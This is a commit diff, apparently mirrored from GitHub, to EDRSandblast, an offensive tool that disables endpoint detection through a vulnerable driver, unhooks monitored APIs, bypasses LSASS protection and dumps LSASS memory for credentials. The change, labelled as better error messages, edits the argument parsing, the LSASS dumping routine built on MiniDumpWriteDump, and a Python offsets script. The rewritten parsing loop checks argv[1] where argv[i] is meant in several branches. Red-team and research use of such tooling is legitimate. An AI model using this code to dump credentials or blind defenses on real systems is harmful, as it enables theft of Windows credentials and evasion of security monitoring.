mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-11 09:51:18 +00:00
Improved error verbosity
This commit is contained in:
@@ -4,5 +4,6 @@ typedef enum _START_MODE {
|
|||||||
dump,
|
dump,
|
||||||
cmd,
|
cmd,
|
||||||
credguard,
|
credguard,
|
||||||
audit
|
audit,
|
||||||
|
none
|
||||||
} START_MODE;
|
} START_MODE;
|
||||||
+27
-18
@@ -26,7 +26,7 @@
|
|||||||
|
|
||||||
int _tmain(int argc, TCHAR** argv) {
|
int _tmain(int argc, TCHAR** argv) {
|
||||||
// Parse command line arguments and initialize variables to default values if needed.
|
// Parse command line arguments and initialize variables to default values if needed.
|
||||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
|
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe <audit | dump | cmd | credguard> [-h | --help] [-v | --verbose] [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
|
||||||
const TCHAR extendedUsage[] = TEXT("\n\
|
const TCHAR extendedUsage[] = TEXT("\n\
|
||||||
-h | --help Show this help message and exit.\n\
|
-h | --help Show this help message and exit.\n\
|
||||||
-v | --verbose Enable a more verbose output.\n\
|
-v | --verbose Enable a more verbose output.\n\
|
||||||
@@ -94,21 +94,7 @@ Other options:\n\
|
|||||||
return EXIT_FAILURE;
|
return EXIT_FAILURE;
|
||||||
}
|
}
|
||||||
|
|
||||||
START_MODE startMode;
|
START_MODE startMode = none;
|
||||||
if (_tcsicmp(argv[1], TEXT("dump")) == 0) { startMode = dump; }
|
|
||||||
else if (_tcsicmp(argv[1], TEXT("cmd")) == 0) { startMode = cmd; }
|
|
||||||
else if (_tcsicmp(argv[1], TEXT("credguard")) == 0) { startMode = credguard; }
|
|
||||||
else if (_tcsicmp(argv[1], TEXT("audit")) == 0) { startMode = audit; }
|
|
||||||
else if (_tcsicmp(argv[1], TEXT("-h")) == 0 || _tcsicmp(argv[1], TEXT("--help")) == 0) {
|
|
||||||
_tprintf(TEXT("%s\n"), usage);
|
|
||||||
_tprintf(TEXT("%s\n"), extendedUsage);
|
|
||||||
return EXIT_SUCCESS;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
_tprintf(TEXT("%s"), usage);
|
|
||||||
return EXIT_FAILURE;
|
|
||||||
}
|
|
||||||
|
|
||||||
TCHAR driverPath[MAX_PATH * 2] = { 0 };
|
TCHAR driverPath[MAX_PATH * 2] = { 0 };
|
||||||
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
|
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
|
||||||
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||||
@@ -127,8 +113,24 @@ Other options:\n\
|
|||||||
hook* hooks = NULL;
|
hook* hooks = NULL;
|
||||||
|
|
||||||
|
|
||||||
for (int i = 2; i < argc; i++) {
|
for (int i = 1; i < argc; i++) {
|
||||||
if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
|
if (_tcsicmp(argv[i], TEXT("dump")) == 0) {
|
||||||
|
startMode = dump;
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[1], TEXT("cmd")) == 0) {
|
||||||
|
startMode = cmd;
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[1], TEXT("credguard")) == 0) {
|
||||||
|
startMode = credguard;
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[1], TEXT("audit")) == 0) {
|
||||||
|
startMode = audit;
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[1], TEXT("-h")) == 0 || _tcsicmp(argv[1], TEXT("--help")) == 0) {
|
||||||
|
_tprintf(TEXT("%s\n"), usage);
|
||||||
|
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
} else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
|
||||||
_tprintf(TEXT("%s\n"), usage);
|
_tprintf(TEXT("%s\n"), usage);
|
||||||
_tprintf(TEXT("%s\n"), extendedUsage);
|
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||||
return EXIT_SUCCESS;
|
return EXIT_SUCCESS;
|
||||||
@@ -215,6 +217,10 @@ Other options:\n\
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Command line option consistency checks.
|
// Command line option consistency checks.
|
||||||
|
if (startMode == none){
|
||||||
|
_tprintf(TEXT("[!] You did not provide an action to perform: audit, dump, credguard or cmd\n"));
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
if (startMode == cmd && !kernelMode) {
|
if (startMode == cmd && !kernelMode) {
|
||||||
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
|
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
|
||||||
return EXIT_FAILURE;
|
return EXIT_FAILURE;
|
||||||
@@ -229,6 +235,9 @@ Other options:\n\
|
|||||||
if (startMode == dump && !kernelMode) {
|
if (startMode == dump && !kernelMode) {
|
||||||
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||||
}
|
}
|
||||||
|
if (!userMode && kernelMode) {
|
||||||
|
_tprintf(TEXT("[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)\n"));
|
||||||
|
}
|
||||||
|
|
||||||
BOOL isSafeToExecutePayload = TRUE;
|
BOOL isSafeToExecutePayload = TRUE;
|
||||||
|
|
||||||
|
|||||||
@@ -70,32 +70,24 @@ DWORD WINAPI dumpLSASSProcess(void* data) {
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Retrieve the priority class.
|
|
||||||
dwPriorityClass = 0;
|
|
||||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcess)\n"));
|
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcesswith error 0x%x)\n"), GetLastError());
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
else {
|
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
dwPriorityClass = GetPriorityClass(hProcess);
|
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
||||||
if (!dwPriorityClass) {
|
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
|
||||||
_tprintf(TEXT("[!] LSASS dump non fatal error: couldn't retrieve LSASS process' priority class (GetPriorityClass)\n"));
|
return 1;
|
||||||
}
|
|
||||||
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
||||||
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
|
||||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
|
||||||
if (!dumped) {
|
|
||||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump)\n"));
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
|
|
||||||
CloseHandle(hProcess);
|
|
||||||
}
|
}
|
||||||
|
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
||||||
|
if (!dumped) {
|
||||||
|
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump with error 0x%x)\n"), GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
|
||||||
} while (Process32Next(hProcessSnap, &pe32));
|
} while (Process32Next(hProcessSnap, &pe32));
|
||||||
|
|
||||||
|
|||||||
@@ -225,13 +225,18 @@ if __name__ == '__main__':
|
|||||||
help='Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.')
|
help='Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.')
|
||||||
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
mode = args.mode
|
mode = args.mode.lower()
|
||||||
if mode not in knownImageVersions:
|
if mode not in knownImageVersions:
|
||||||
print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: "ntoskrnl" and "wdigest"')
|
print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: "ntoskrnl" and "wdigest"')
|
||||||
exit(1)
|
exit(1)
|
||||||
|
|
||||||
# check R2 version
|
# check R2 version
|
||||||
output = run(["r2", "-V"], capture_output=True).stdout.decode()
|
r = run(["r2", "-V"], capture_output=True)
|
||||||
|
if r.returncode != 0:
|
||||||
|
print(f"Error: the following error message was printed while running 'r2 -V':")
|
||||||
|
print(r.stderr)
|
||||||
|
exit(r.returncode)
|
||||||
|
output = r.stdout.decode()
|
||||||
ma,me,mi = map(int, output.splitlines()[0].split(" ")[0].split("."))
|
ma,me,mi = map(int, output.splitlines()[0].split(" ")[0].split("."))
|
||||||
if (ma, me, mi) < (5,0,0):
|
if (ma, me, mi) < (5,0,0):
|
||||||
print("WARNING : This script has been tested with radare2 5.0.0 (works) and 4.3.1 (does NOT work)")
|
print("WARNING : This script has been tested with radare2 5.0.0 (works) and 4.3.1 (does NOT work)")
|
||||||
|
|||||||
Reference in New Issue
Block a user